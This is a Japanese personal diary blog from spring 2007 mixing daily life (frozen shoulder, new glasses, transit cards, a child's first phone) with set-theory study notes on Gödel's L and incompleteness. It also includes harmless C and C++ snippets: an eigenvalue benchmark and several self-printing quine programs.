会社で素数セミの話題が出たのです。素数セミというのは、ここだけの用語かも知れませんが、要は 11年、もしくは 13年に一度土の中から出てきて大発生するセミのたぐいです。寄生虫等、天敵の発生周期と同期する確率が低いように進化したというのが通説です。もしかして 13年セミの場合、天敵もさるもの、発生周期も11年までは追いたのに、セミの方がえいや！と頑張り 13年周期にのばした段階で、まいってしまったのかも知れません。全く当てにはなりませんが。
そんな話をしていたら、向かいの席の K さんがつぶやいた言葉。

発生周期が短い生物のエラトステネスのふるいにかからなかったのが生き残っているわけですね。

いやはやこれは気がつきませんでした。とてもエレガントで分かりやすい説明です。数学や生物の授業で採用しても良いのでは。お見事としか言いようがありません。
さらに M さんが言うには、セミの大発生のときに「食べ過ぎて」死んでしまった人がいるそうですが、ほんとかいな (笑)。いや、人が死んだのを笑ってはいけませんが、世の中ほんと広いと言いますかなんといいますか。不思議なものです。
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2007年4月11(水)

まぬけ
C言語のコメントのしり抜けで二時間もはまってしまいました。なぜか代入した直後に値が入ってなかったのでした。まぬけとしか言いようがありません。
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2007年4月10(火)

生きてます
あっ、単なる生存証明です。それにしても最近更新が滞っていますねえ。で、昨日気がついたのですが、いつの間にかこの日記も 5年以上経過していまして、うーむ、さすがにねた不足の感は否めません。というかそれなりの数学ねたを書きたいのですが、なかなかまとまらなくって。5月の連休辺りに何らかの対処を考える予定です。
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2007年4月6(金)

治ってきた五十肩
昨年の11月に発病した五十肩ですが、ようやく快方に向かい始めたようです。まだ痛みはあるのですが、日常生活でそれほど不便を感じなくなってきました。いやはや、一時は「こんなに痛くて全く動かないのが治るわけない。不治の病だ！」と思ってましたが、ちゃんと学説通りになるもので。なんか目も見えるようになったし、十年位若返った感じです (ちゃうちゃう)。そもそも今年度の仕事は、金額的にもそうですが、特に社会的責任という意味で、今までで一番の大仕事なので、この段階で体調が良くなったことは非常に好ましいのです。
余談ですが昨日の眼鏡交換の効果は絶大で、なんか集中力が増大したような。ほら、PC や本はよく見えて、周りが見えないから (笑)。あと結局 Terminal.app のフォントは小さくしました。今まで 36行で使っていましたが 50行での作業が可能となりました。さらに、仕事では PDF のファイルを見ながら (含 LaTeX) の作業が多いのですが、これも小さい字のまま見ることが可能となったので、論理的に画面が非常に広くなりました。快適です。
というか昨日と今日のねたを見ると、なんのかんの年ですなあ (笑)
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2007年4月5(木)

眼鏡できた
先日作った眼鏡ですが、本日受け取ることができました。帰りの電車では新しいのを使って本を読んだのですが、いやはやほんと読みやすいこと。そもそも字がぼやけないのと、度を低くした分大きく見えるのです。で、おうちに帰ってから、今 MacBook でこの日記を書いてるのですが、
画面でかっ！！
MacBook の画面ってこんなに大きかったのですか (笑)。さらに本の場合と同様に文字もくっきり見え、これは快適らくちんです。なんかフォントを小さくして画面を有効活用したくなってくるほどですが、いや、そこまでは欲張らない方が良いでしょう(^^。
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2007年4月3(火)

つくば出張
今日から一泊二日でつくば出張です。
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2007年4月1日(日)

ばか親
なんか前に「中学生の分際で携帯を持つとはけしからん！」と書いた記憶がありますが、ついにしつこさに負けました＞モカちゃん。
契約したのは au、名義人は私で、機種名は HITACHI の W51H というものみたいです。料金は 500円 (笑)。ただし条件があって、なんか良くわからないのですが、BIC CAMERA Suica CARD のクレジットカード契約を結ぶことなのだそうな。スイカはいらないって！！そうはいうものの、作らないと価格が一気に 15,000円となります。あほらしいけど作るしかありませんな。まあこれから銀行の口座等を書いた用紙を郵送するので、無視すれば良いかも知れませんし、ビックカメラのポイントに関しては有利そうなので、こちらに鞍替えしても良いかも。考え中です。
それにしても携帯の審査とカードの審査と称して二回も免許証見せなきゃいけないとは。全く面倒ですなあ。あと大きな声では言えませんが、携帯売り場のおにいちゃんって、どうして例外なく頭悪そうなのだろう。顔からしてあれなのですが、段取り、手際、説明いずれも宜しくなく、まっとうな商売でない雰囲気をひしひしと感じます。
と、これだけ悪口を書いたのに、とにかく契約してしまったのですから、これはほんとばか親としか言いようがありません。今月から最低でも月々 5,000円程度の税金を支払うことになります。そもそも中学生の分際で...(笑)。
(おまけ) 家の前の満開さくら

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2007年3月31日(土)

Paul Cohen 死去
3月23日に亡くなられたそうです。 http://www.ams.org/ams/inmemory.html#cohen
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2007年3月30日(金)

眼鏡作った
最近眼鏡をかけた状態で本を読むのが不可能な状況に陥り、かといって眼鏡をはずして読むと、10cm 位まで近づけないと読めない。さらにその場合両目では全く焦点が合わないので、片目で読む必要があるという非常に不便な状況なのです。
さらに PC 上の小さい文字も見づらくなってきたし (MacBook のくるくる画面拡大のお世話になりっぱなしです)。一番困るのは勉強をするときです。本に目を近づけないと読めないので、ノートに写しにくいのです。写す分を記憶してから今度はノートに目を近づけて書く。両方同時に見ることが出来ないのです。これでは余りに不便です。なんか最近いまいち勉強の調子が上がらないのはこれが原因かも (違うかも知れませんが)。
というわけでもう一つ眼鏡を作りました。近視矯正用ですが実質老眼鏡です。現在使用している眼鏡は矯正後の視力が1.2 程度で (眼鏡をかけないと 0.01 位) 遠くのものを見るにはちょうど良いのですが、近くのものが見えないし、若干矯正が強過ぎ目が疲れるようです。新しく作ったのは一番良く見えるのが 40cm 位の距離だそうで、遠方に関しての視力は 0.5程度になります。車を運転しない限り日常生活には困りません。両刀使いでも良いし。割と強い乱視も入ってるので、出来上がりは来週になりそうですが、眼鏡屋さんのレンズを動的にいれかえるやつで実際に本を読んだところ、非常に快適です。これで勉強 (あと仕事ね) が進むようになると良いのですが、はてさてどうなることやら、こればかりは分かりません。
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2007年3月29日(木)

選挙
あちらこちらで選挙をしてるみたいで、神奈川県でも知事選が行われているるようです。で、ここで候補者についてどうのこうとかは書きませんが、考えてみると私は立候補できないのです。もちろん今回の知事選にはもう出れませんが。そういう理由ではなく、さらに出る気があるわけないとか、お金がないとか、出ても当選するわけがなく、恥をさらすだけということよりはるかに深刻な状況なのです。
肩が痛くて万歳ができない (笑)

いやはやこれでは測度 0 の当選確率とはいえ情けなさ過ぎます。というか本物の政治屋さんが五十肩になったらどうするのだろう。引退する以外道はないと思うのですが、五十肩で引退という話は聞いたことがありません。その割に年寄りが多いので、五十肩に見舞われている人も何人かいるはず。選挙当日には痛み止めでも打つのだろうか。大いなる謎ですな(^^。
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2007年3月27日(火)

注文した本
ゲーデルと20世紀の論理学 (3) 不完全性定理と算術の体系
確かさを求めて―数学の基礎についての哲学論考
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2007年3月26日(月)

つくば出張
今日から明日にかけて、一泊二日でつくば出張です。
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2007年3月25日(日)

さよならしらたまちゃん
二年前からおうちにいたハムスターが死んでしまいました。安らかに眠りたまえ。
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2007年3月24日(土)

標準的自然数
2007年3月13日のコメント欄に Standard Model さんからコメントを頂きました。ありがとうございます。で、 Standard Model さんの言われる通り、数学 (内部) で考える場合、「標準的自然数」はそのコンテキストで考えている、集合論の理論、もしくはモデルにおける $\omega~$ で良いような気がしてきました。少なくとも形式的に考える場合、他に選択肢がなさそうに思います。
で、ここからはある意味数学外の疑問と言うか、単に私が知らないだけなのかも知れませんし、論理学やモデル理論に関し集合論の勉強で必要になるたび、つまみ食いしている程度の状況なので、本当に見当はずれなのかも知れません。さらに (ト) 的な内容になってしまうかも知れませんが、ご容赦の程を。
つまり集合論の $\omega~$ を「標準的自然数」と考えた場合、その辺りは (形式化された) 計算理論とも結びついてくると思いますし、計算可能等の概念にも関連してくると思うのです。ところが、集合論のおける $\omega~$ について、我々の通常の直感で考える「自然数」を忠実に表現している保証は全くないわけで、(私自身数学の他方面の応用について、建前上は関心がないというスタンスをとっていることはおいといて) それが本当に「機械に計算できる」という概念と結びつくのか良くわからなくなってしまうのです。この辺りは「数学的な概念が特に理論物理において大成功をもたらしている」こととの類推で考えれば、現実の応用において問題が生じないし、どちらにしろ形式化されてしまえばその実体がなんであるかはどうでも良い、と考えることが可能かも知れませんが。うーん...。
ところで、どうしてこんなことを考え始めたかを列挙しますと、

(1) $L~$ の勉強をしていて、本当の論理式での $\vee~$ の有限列と形式化された論理式での同様の有限列に乖離があることを最近知った。
(2) ゲーデルが、「数学的には一番分かりにくいと思われる」チューリングマシンを他の「計算可能概念」に比して、非常に高く評価していたという耳学問。これは上の疑問とは直接関係なさそうですが。
(3) 自然数の「非標準モデル」についてネットでの話題をいくつか見かけた。

あたりです。集合論もそうですが、論理学やモデル理論は明らかに勉強不足です。とはいえ、なかなか集合論の基本的な部分で手一杯というのが情けないというか、つらいところではあります。
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2007年3月22日(木)

はじめての固有値計算

ちと仕事で 3x3 実対称行列の固有値を求める必要が発生。速度が命です。とある方が教えて下さった http://math.nist.gov/tnt/documentation.html のテンプレートクラスを使用して実験してみました。で、C++ のテンプレートの作法が良くわからないので、試行錯誤でやっとこコンパイルを通したのが下のソース。

(sample.cc)
--------------------------------------------------------------
#include <iostream>
#include <stdlib.h>
#include "tnt.h"
#include "jama_eig.h"

using namespace std;
using namespace TNT;
using namespace JAMA;

int main(int argc,char **argv)
{
    const int M=3;
    int i,j,count;

    Array2D<double> A(M,M);      /* create MxM array */
    Array2D<double> B(M,M);      /* create MxM array */
    Array1D<double> C(M);
    /* 左上半分を充填 */
    for (i=0;i!=M;i++) {
        for (j=0;j<=i;j++)
            A[i][j]=random()/(double)(1LL<<31);
    }
    /* 対称行列にするため右下半分にコピー */
    for (i=0;i!=M;i++) {
        for (j=i+1;j!=M;j++)
            A[i][j]=A[j][i];
    }
    /* ベンチマーク */
    for (count=0;count!=1000000;count++) {
        /*    cout << A << endl; */
        Eigenvalue <double> E(A);  /* A の固有値と固有ベクトルを求める */
        E.getV(B);                     /* 固有ベクトル行列獲得 */
        /*        cout << B << endl;  */
        E.getRealEigenvalues(C);       /* 固有値ベクトル獲得 */
        /*        cout << C << endl; */
    }
    return(0);
}
--------------------------------------------------------------

MacBook の CPU を一つ使って上の計算百万回実行が 4秒程。一秒間に二十五万回 3x3対称行列の固有値と固有ベクトルを求めることができるわけです。これって速いんですか？良くわかりません(笑)。ちなみに、上の M を 100 として (100x100 行列) 一回りだけ実行すると 0.03秒程。これって速いんですか？良くわかりません(笑)。

固有値関連の具体的な計算は、学生時代テスト前に、2x2行列のみ仕方なく行っただけというのは内緒です。可換環を係数とする加群上の線型写像とそれに伴うコホモロジー等ははそれなり勉強しましたが、行列って真面目に勉強したことないです(弱)。

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Suicaその後
結局奥さまに使ってもらうことにしました。そもそも残金精算で損をする以前の話として、このような不祥事を起こしてるので、はい！あれこれ言う資格はありません(笑)。
(関連リンク) 2007年3月19日 PASMO使ってみた
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2007年3月20日(火)

Lシリーズ
亀のごとくのろい歩みですが、ゲーデルの $L~$ に関して勉強中です。いやはやそれにしても時間がかかること。で、やはり何らかの形で勉強した内容を公開したいとは考えているのです。ただし、 $L~$ で連続体仮説と選択公理が成り立つ事実までとしても、充足関係とそれに付随する種々の論理式に対するコード化は必須であり、それを細々書いていると、私の力ではテキストの丸写しということになってしまいます。この辺り現在考慮中なのですが、おそらくコード化の定義辺りまでをそれなりきちんと記載し、細かい証明は省略するという形になると思います。近々何らかの形で開始し、うまくゆかないようなら、別途方法を考えるということで。それにしても、一般的にゲーデルの他の二つの業績 (完全性定理と不完全性定理) に比して、 $L~$ の人気が今ひとつという感じているのは私だけでしょうか。数学的には一番奥が深い感じがするのですが。
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2007年3月19日(月)

PASMO使ってみた
私の通勤経路は、藤沢から登戸まで小田急線、登戸から分倍河原まで JR です。定期の場合、一本にまとめることができ、それほど不便ではないのですが、なんせつくばへの出張が多く、その場合定期と Suica だけではまかない切れず、毎回切符を購入したり、定期の乗り越し清算をしたりと、不便な面もあったのです。
ところがうわさによりますと、最近私鉄で導入された PASMOは Suicaと相互運用性があるそうで、さらに駅員さんに聞いたところ、定期に関しても小田急と JR の乗り継ぎを一本化できるそうなのです。というわけでさっそく購入 (保証金みたいなの500円) して定期の内容もコピーしました。
世の中何でも便利になれば良いとは思っていませんが、合理性がある範囲で便利になる場合どうしても手が出てしまいます。意志薄弱です。Suicaの方は解約して、残金と500円を返してもらう予定ですが、なんせ JR のみどりの窓口はいつも混んでて、待ち時間が長いのが欠点です。まあこんどひまなときに。
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2007年3月15日(木)

ロッサーの不完全性定理
一昨日のコメントでロッサーの不完全性定理について通りすがりさんに教えて頂きましたが、丁度私自身前原先生の本でざっと眺めたので、結果のみやや表現を変更し引用します。
(ロッサーの不完全性定理) まず $\mathrm{Neg}([x])~=~[\neg~x]~$ を満たす関数を体系内で定義することが可能で、さらにこの関数は数値別に表現可能であることが証明できます。そしていつもの通り「 $x~$ は論理式であり $y~$ はその証明図である」ことを表現する論理式を $B(y,x)~$ とします。そして論理式 $B^{\ast}(y,x)~$ を
$B(y,x)~\wedge~\forall{z\le{y}}(\neg(B(z,\mathrm{Neg}(x)))~$
と定義し $\neg~\exists{y}(B^{\ast}(y,x))~$ に対し対角化を行った論理式を $G~$ とすると
$G~\leftrightarrow~\neg~\exists{y}(B^{\ast}(y,[G]))~$
が成り立ち、 $G~$ がω無矛盾に無関係に決定不可能な論理式となるそうです。さらに直感的には $B~$ と $B^{\ast}~$ は (証明図の途中に否定の証明は現れないという意味で) 似たようなものですが、驚くべきことに次の「クライゼルの注意 (もとねたはウィトゲンシュタインらしい)」が成り立つそうです。
$\neg~\exists{y}(B^{\ast}(y,[0=1]))~$ は証明可能
妥当であるかどうかは別として、解釈を変更すれば、「自分自身が矛盾しない」ことが証明可能なわけです。この辺りは15年程前にざっと読んだのですが、全然理解不足です。今度真面目に読んでみたいと考えています。
(関連リンク) さかいさんの日記 (2007年3月13日)
(参考文献) 前原昭二著数学基礎論入門
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2007年3月14日(水)

出張ではまる
いやはや、おおはまりで出張が一日延びてしまいました。
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2007年3月13日(火)

さらにω矛盾
つくばより。おとといおおざっぱなことを書きましたが、今日もおおざっぱです。おとといの直感の根拠としては $N~\subset~M,\,N\neq{M}~$ がともに自然数論の公理を満たすモデルとするとき $N~$ は $M~$ で定義不可能ということです。実際 $M~$ で数学的帰納法が成立するので、 $N~$ を定義したと思った瞬間 $N=M~$ です。
ただし、さかいさんの疑問は $M~$ の中で理論 $T~$ を定義した場合のことですので、少々事情が異なります。さらにここからいまいち自信がないのですが、 $T~~~$ での証明可能性に対応する論理式を構成するとき、数学的帰納法を使い、さらに直感的な自然数に対する数学的帰納法と、理論での数学的帰納法との対応が良好である事実を使用していると思うのですが、上に書いた事情で $M~$ では良好な関係が成立しないと思われます。 $M~$ で $T~$ からの証明可能性を定義しても、本当に $T~$ での証明可能性を表現しているか、ということで元の意味は失われそうです。全く自信なしですが。「本当に有限」という概念が体系内で定義不可能なのがネックになりそうな。全然違うかも知れませんが。
というかロッサーの不完全定理はどうして成り立つのだろう。忘れました (弱)。さらに、余り大きな声では言えませんが、どうしてチャーチのテーゼが成り立つと信じられるのかも分かんなくなってきました (笑)。こちらは勉強不足ということで。
(付記) と書き終わったら、さかいさんのところに正解が。形式的にと自分で言ったのに、意味論的に考えてはまったのは私のようです。
(さらに付記) 上の最後の疑問で、要するに私がはまっているのは、前にも書きましたが、「標準的自然数」のフォーマルな定義がそもそも存在するのかということなのです。いくら考えても分からないです。
(関連リンク) さかいさんの日記
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2007年3月12日(月)

つくば出張
今日から一泊二日でつくば出張です。
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2007年3月11日(日)

モデルでの真偽
さかいさんのブログにあんまり真面目に考えてないつっこみです。いや、少しはまじめに考えたのですが、明確な定式化までは至らず。
理論のモデルを考えることにより (そのモデルでは) 真偽の概念を表現できるというのは確かに正しいのですが、「真偽」という直感に頼りすぎるとはまるかも知れません。あくまでも形式的な議論が必要かと思います。そもそも今回の場合、モデル内で、(形式化された) 理論がω矛盾とか定義可能なのだろうかと疑っております。いずれにしても、証明不可能論理式に関しては、ω矛盾の方に拡張した場合、直感的には「超自然数」が証明図になるという感じでしょうか。
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2007年3月10日(土)

列の難しさ
いや、当然のことながら最近とみに神経質になり、自明なことを長考したり色々あります (汗)。そうは言うものの、自明でないことを自明と思ったり、あまくさえ定義不可能な列を考えないようにしないと。
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2007年3月9日(金)

自己出力プログラム (続き)
おとといの続きですが、教えて頂きまして、こういうプログラムを Quine というそうです。有名な論理学者、ウィラード・ヴァン・オーマン・クワイン由来の名前のようです。で、結論ですが、やはり世の中好きものが多いらしく、こちら (Quine Page) に大量のプログラムが掲載されております。面白いのを引用しますと。
```
Author: Erkki Ruohtula (eru@tnso04.tele.nokia.fi)
-------------------------------------------------------
#define n(v,w) v(#w"\nn("#v","#w")");}
n(main(){puts,#define n(v,w) v(#w"\nn("#v","#w")");})
-------------------------------------------------------
```
そかっ、マクロを使うという作戦がありました。実は上の意味は良くわかんないのですが、実行するとちゃんとおんなじものが出力されます。ただし、これは printf() を使ってはいないのですが、なんとなくマクロが反則っぽいです (笑)。
それより驚いたのは次。
(コード中の改行はすべて削除して実行して下さい)
```
Author: Dave English 
---------------------------------------------------------------------
char x[]=" main() { int i; putchar(99); putchar(104); putchar(97); 
putchar(114); putchar(32);putchar(120); putchar(91); putchar(93); 
putchar(61); putchar(34); for(i=0; i<strlen(x); ++i) putchar(x[i]); 
putchar(34); putchar(59); for(i=0; i<strlen(x); ++i) putchar(x[i]);
putchar(10); }";main() { int i; putchar(99); putchar(104); putchar(97); 
putchar(114); putchar(32); putchar(120);putchar(91); putchar(93); 
putchar(61); putchar(34); for(i=0; i<strlen(x); ++i) putchar(x[i]);
putchar(34); putchar(59); for(i=0 ; i<strlen(x); ++i) putchar(x[i]); 
putchar(10); } 
---------------------------------------------------------------------
```
なんと putchar() のみで実行できるのですか！これはびっくり仰天です。というわけでおとといの私の予想はおおはずれだったのでした。実は上のプログラムの意味も良くわからないのが情けないです (弱)
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2007年3月8日(木)

Lκの基数 (続き)
分かってしまえばほとんど自明といういつものパターンでしたが、基数 $\kappa~$ に対する $L_\kappa~$ の「中での」基数に関するまとめです。このような場合、 $L~$ の $\kappa~$ 未満の基数が $L_\kappa~$ の基数となるのは本当に自明です。実際 $\lambda~\in~L_\kappa~$ が $L_\kappa~$ の基数でないと仮定すると $\alpha<\lambda~$ と $L_\kappa~$ での全射 $f:\,~\alpha~\rightarrow~\lambda~$ が存在しますが、これは $L~$ での全射となります。基数という性質が $\mathrm{\Pi}_1~$ 論理式で記述可能である帰結でもあります。以降 $V=L~$ を仮定します。逆についてはゲーデルの圧縮レンマが必要と思われます。
(ゲーデルの圧縮レンマ)
$\gamma~>~\omega~$ を極限順序数し $M~\prec~L_\gamma~$ を初等的埋め込みとします。このとき $M~$ の推移的崩壊 $\pi:~\,~M~\rightarrow~N~$ を考えると $N~=~L_\beta~$ を満たす極限順序数 $\beta~>~\omega~$ が存在する。
$\lambda~\in~L_\kappa~$ が $L~$ での基数ではないと仮定します。このとき $\alpha~<~\lambda~$ と $L~$ での全射 $f:\,~\alpha~\rightarrow~\lambda~$ が存在します。ところで $\alpha,\lambda~\in~L_\kappa~$ なので $\xi~<~\kappa~$ が存在し $\alpha,\lambda~\in~L_\xi.~$ 従って $\alpha~\times~\lambda~\in~L_{\xi~+~3}~$ (本当は $\alpha~\times~\lambda~\in~L_{\xi~+~2}~$ である)。 $\beta~=~\xi~+~3~$ とすると $f\subset{\alpha\times\lambda}~$ なので $f~\subset~L_\beta.~$ 従って今、極限順序数 $\gamma~\ge~\kappa~$ で $f~\in~L_\gamma~$ なるものをとると $L_\beta~\cup~\{f\}~\subset~L_\gamma~$ が成り立ち $L_\beta~\cup~\{f\}~$ は推移的。するとスコーレムの定理により、集合 $M~$ で $L_\beta\cup\{f\}~\subset~M~\prec~L_\gamma,~|L_\beta|~=~|M|~$ を満たすものが存在します。ここで $M~$ の推移的崩壊 $\pi:\,M~\rightarrow~N~$ を考えると $L_\beta\cup\{f\}~$ は推移的であったので、この上で $\pi~$ は恒等写像。さらにゲーデルの圧縮レンマにより、極限順序数 $\delta~$ が存在し $N=L_\delta,~|\beta|=|\delta|~$ を満たします。 $\pi~$ は $f~$ を動かさないので $f~\in~L_\delta~\subset~L_\kappa.~$ 従って $f~$ は $L_\kappa~$ での $\alpha~$ から $\lambda~$ への全射となり $\lambda~$ は $L_\kappa~$ での基数となりません。
なんか最近 $L~$ に関して非常に断片的で、さらに自明なことばかり書いてますが、慣れるまでなかなか大変、ということでご容赦の程お願い致します。
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2007年3月7日(水)

自己出力プログラム
下のプログラムは、前にもこの日記で書いたことがあるかも知れませんが、私が大分前に作ったもので、自分自身と同じ内容を出力します。
```
$ cc same.c
$ ./a.out >same.out
$ diff same.c same.out
$
```
余り見やすくないですが、文字 'L' (=0x4c) は改行に置換され、'Z' (=0x5a) はダブルクオーテーションに置換されます。strsed() は文字列の中の文字 ch1 を文字 ch2 に置換して副作用を返す関数で (どうして戻り値が int なのだろう？まあ気にしない) strcpy2() は strcpy() と同じです。ライブラリー依存を極力避けたかったので記述したのだと思います。
実際書いてみようと思うと分かりますが、このようなプログラムの実装には「コード化とメタ機能」は必須のようで、上に書いたように ascii コードにべったり依存していますし、メタ機能としては printf() のフォーマッティングを使用しています。
(分からないこと) 下のプログラムは出力に printf() という強力なメタ機能を使用しています。長くなるのでとてもやる気がしないのですが、printf() と同等の関数を自前かつインラインで実装すればなんとかなるのでしょうか。頑張れば putchar() のみで実装できるとか。なんかだめな気がするのですが、本当のところご存知の方らおられましたら、教えた頂けると大変うれしいです。
下の記述をそのままファイルにしたのはこちらです。
```
(File same.c)
---------------------------------------------------------------------------
#include <stdio.h>

int main()
{
 char ftmt0[]="#include LLint main()L{L char ftmt0[]=Z%sZ;LL char ftmt[1024];L char str[1024];L strcpy2(ftmt,ftmt0);L strsed(ftmt,0x5a,0x22);L strsed(ftmt,0x4c,0x0a);L strcpy2(str,ftmt0);L printf(ftmt,str);L return(0);L}Lint strsed(char *p,int ch1,int ch2)L{L for (;*p;p++) {L if (*p==ch1)L *p=ch2;L }L}Lint strcpy2(char *d,char *s)L{L for (;*s;s++,d++)L *d=*s;L *d=0x00;L}L";

 char ftmt[1024];
 char str[1024];
 strcpy2(ftmt,ftmt0);
 strsed(ftmt,0x5a,0x22);
 strsed(ftmt,0x4c,0x0a);
 strcpy2(str,ftmt0);
 printf(ftmt,str);
 return(0);
}
int strsed(char *p,int ch1,int ch2)
{
 for (;*p;p++) {
 if (*p==ch1)
 *p=ch2;
 }
}
int strcpy2(char *d,char *s)
{
 for (;*s;s++,d++)
 *d=*s;
 *d=0x00;
}
---------------------------------------------------------------------------
```
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2007年3月6日(火)

いわゆる社会人の勉強
とある場所で、社会人の勉強はそれなり大変なのでは、という話題があったので。そもそも、私って一応社会人なのかとか、そもそもいまやってることが勉強というレヴェルなのか、ということはおいといていくつか感想を。

能力について
これはもう若い頃とは比べものになりません。実感としては論理能力はともかくとして、短期記憶と長期記憶双方にわとり並なのがつらいかも。そうはいうものの、私の場合、もともと能力はないわけであり、その辺りはなんとか折り合いをつけながらということで。
時間の確保
これが一番つらいかも知れません。なんのかんので土日位しかまとまった時間がとれないし、仕事が忙しいと土日は疲れて集中できないとか。
本なり文献なり
手に入りやすい本の場合、普通の学生さんより財力はあるかも知れないので、そちらは問題ありません。ですが古い文献や論文を調べたい場合、図書館を使いにくいのが難点です。これって、例えば私の住んでるところでアクセスが良さそうな数学教室は東京大学だと思うのですが、有料 (あんまり高いと困る) で本を閲覧させてもらったり、場合によっては論文のコピーをさせてもらえる制度ってあるのだろうか。こんど調べてみようかな。どうちらにしても、現行、自分が持っている本を読むのが精一杯なので、余り問題にはなりませんが (笑)。
インターネットがなかったら
私はアンテナが弱く、人脈も全くないし、かつ出不精。なので、ネットがなかったとしたら、この年になり数学の勉強をすることなかったに違いありません。後、自分の勉強結果を、その品質はおいといて、発表できるというのはやはり大きいです。専門家の方の助言を頂ける場合もあり、本当にありがたい限りです。
セミナー
これがないのは痛いですなあ。そうは言うものの、例えば本当に何人かでセミナーを行える環境があったとしたら、それはそれで荷が重そう。正直「納期」がある勉強は厳しいのです。今はのんびり勉強できるので楽しめているという面もあるので。
テスト
実はこれがないのも本当は良くないのです。そうはいうものの本当にあったらやはり負担が大きくなるし。上と同じような感覚かも知れません。
というわけで、当たり前のことをだらだらと書きましたが、人様と競争する必要もないし、これが分からないと進学や就職ができない等悩む必要もないし、それなり楽しくやってます。現実には「わっ、分からない～」という状況になると思いのほか悩むしストレスもあるのですが、まあすぐに分かるようなことはつまんないということもありますので。
なんのかんので数学好きなのでしょうなあ(^^。
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2007年3月5日(月)

そもそも V_α では
土曜日の続き。そもそも $V_\alpha~$ の内部がどうなっているのか、いままで漠然と考えてきたことに関し、大量の間違いがあるかも。過去に記載したこと等、真面目に考え直さないと。
(追記) 土曜日の基数の話題について。そもそも一般になぜ $L~$ で置換公理が成立するか分析します。まず $\varphi(x,y)~$ を論理式とし、 $\forall{x~\in~L}\exists{y~\in~L}(\varphi^L(x,y))~$ を仮定します。今 $u\in~L~$ とし、各 $x\in~u~$ に対し $\alpha_x~=~\mathrm{min}(\{\xi\,:\,\varphi^L(x,y)~\wedge~y\in~L_\xi\})~$ とすると、これら全体は $V~$ での置換公理で $V~$ の集合となり $\alpha_x\,(x~\in~u)~$ の上限 $\gamma~$ をとると $\forall{x~\in~u}\exists{y~\in~L_\gamma}(\varphi^L(x,y)).~$
上記を参考に、正則基数 $\kappa~$ に対し $L_\kappa~$ で置換公理が成り立つ証明。 $\kappa~$ を正則基数とします。上記証明で $L~$ を $L_\kappa~$ に置換した論理式 $\varphi^{L_\kappa}(x,y)~$ を考え、束縛の領域等もすべて $L_\kappa~$ に制限すると、 $(\alpha_x)_{x\in~u}~$ は $L_\kappa~$ 上定義可能。ところが $\kappa~$ の $V~$ での正則性と $|u|<\kappa~$ であることにより、上記と同様の上限 (こんどは $L~$ での置換公理を使用) $\gamma=\sup_{x~\in~u}(\alpha_x)~<~\kappa~$ 従って $L_\gamma~$ が $y~$ の束縛に関して条件を満たします。
最後に $V=L~$ を仮定し (簡単のため) $L_{\omega_2}~$ での基数問題です。 $\alpha~<~\lambda~<~\omega_2~$ に対し $L~$ での全射 $f:\,~\alpha~\rightarrow~\lambda~$ を考えるのですが、 $f~\in~L_{\omega_3}~$ は勘違いしてなければ $V=L~|=~\mathrm{GCH}~$ の分析によりすぐに分かるのですが、 $f~\in~L_{\omega_2}~$ なのかどうか分かりません。上の分析を参考にすればなんとかなるかと思ったら、方向違いのようで。なんかすごく自明なことを見落としているのか？それとも案外難しいのか？ところで同様の議論で $\lambda~<~\omega_1~$ の場合、 $f~\in~L_{\omega_2}~$ が分かります。ということはへんてこな $\lambda~$ が存在すれば $\omega_1~<~\lambda~<\omega_2.~$ 以下わからず (弱)。← 大間違い下の方参照 (最弱)。
というか上の議論より例えば $L_{\aleph_\omega}~$ の基数、一般に極限基数 $\kappa~$ に対する $L_\kappa~$ の基数は $L~$ の基数と一致するかも。ということは正則性の観点はまたまた方向違い。
(さらに追記) 上のは完全にレヴェル違いで、 $f\in~L_{\omega_2}~$ は問題ありません。実際 $f~\subset~\lambda~\times~\alpha~$ なので、 $\beta<\kappa~$ が存在して $f~\subset~L_{\beta}.~$
$f~\in~L_\gamma~$ とすると $L_\beta~\cup~\{f\}~\subset~M~\prec~L_\gamma,\,~|M|=|L_\beta|~$ を満たす集合 $M~$ が存在します。そこで $M~$ の推移的崩壊を $L_\delta~$ とすると $|\delta|~=~|\beta|~<~\kappa~$ さらに $f~$ は $M~$ の推移的な集合の要素なので、 $f~\in~L_{\delta}.~$ レヴェルを一つ間違えてました。情けない。
(結論) $V=L~$ とし $\kappa~$ を基数とするとき $L~$ の $\kappa~$ 未満の基数と $L_\kappa~$ の基数は一致する。大混乱しているので後で書き換えるかも知れません。
(参考文献) Keith J.Devlin著 Constructibility
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ちっとも良くならない五十肩
悪化してます (笑)。うーん、Web の色々な文献によると半年か一年で自動的に直るはずなのですが、日記を見ると発症したのが去年の 11月の始め頃。なので、まだ四ヶ月です。ということは最短であと二ヶ月、最長で後八ヶ月ということで、いやはやまだ先が長いこと。というか今が最盛期なのかも。
最近困っているのは、動かさないでも痛くなる場合があることで、特にキーボードを打ってるときに「ずきっ」と痛むと左腕全体が脱力し、キーボードに左手が落っこちるのです。それから左腕全体がしびれたような感じになる場合があること。まあ、私はちょっとでも痛いと大騒ぎする方なので、ほんとはたいしたことないのでしょうが、なにかと不便なことは確かです。毎日PC と本が入ったかなり重たいかばんを持って歩くのも良くないのかも。左肩にしょって歩くこと多いですから。右にしようかな、と考えないでもないのですが、ほら、万が一右も痛くなったらまじ不便です。ほんと右だったら大の時不便過ぎますよ。「不便」かつ「不運」です (殴)。
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2007年3月3日(土)

L_α の基数
$V=L~$ を仮定します。漠然と何も考えず $L_\alpha~$ が $\mathrm{ZF}-\mathrm{P}~$ を満たすのは $\alpha~$ が正則基数の場合と思っていましたが大間違いでした。 $\kappa~$ を正則基数とすると $L_\kappa~$ はべき集合以外の集合論の公理を満たすのは正しいのです。簡単のために $\kappa~=~\omega_1~$ とすると、 $L_{\omega_1}~|=~\mathrm{ZF}~-~\mathrm{P}.~~$ すると、圧縮レンマにより可算な順序数 $\gamma~>~\omega~$ が存在して $L_\gamma~\prec~L_{\omega_1}.~$ 従って $L_\gamma~|=~\mathrm{ZF}~-~\mathrm{P}.~~$ ところで $L~$ で $\mathrm{cf}(\gamma)~=~\omega~$ なので $L~$ での順序数の増大列 $(\alpha_n)_{n~\in~\omega}~$ が存在して $L|=~\sup_{n\in\omega}~\alpha_n~=~\gamma.~$ この列は $\gamma~$ に依存しているのであたりまえといえばあたりまえなのですが、そのままでは $L_\gamma~$ で意味をもたせにくく、実際、上の列を $L_\gamma~$ 上定義する論理式 $\varphi(n,\alpha)~$ ( $L_\gamma~|=~\varphi(n,\alpha)~\leftrightarrow~\alpha~=~\alpha_n~$ なるもの ) が存在すると $L_\gamma~$ で置換公理がなりたたなくなり矛盾と思われます。なんというか $L_\gamma~$ 上の論理式の表現力の弱さが、逆に成り立つ公理を増やしている感じです。
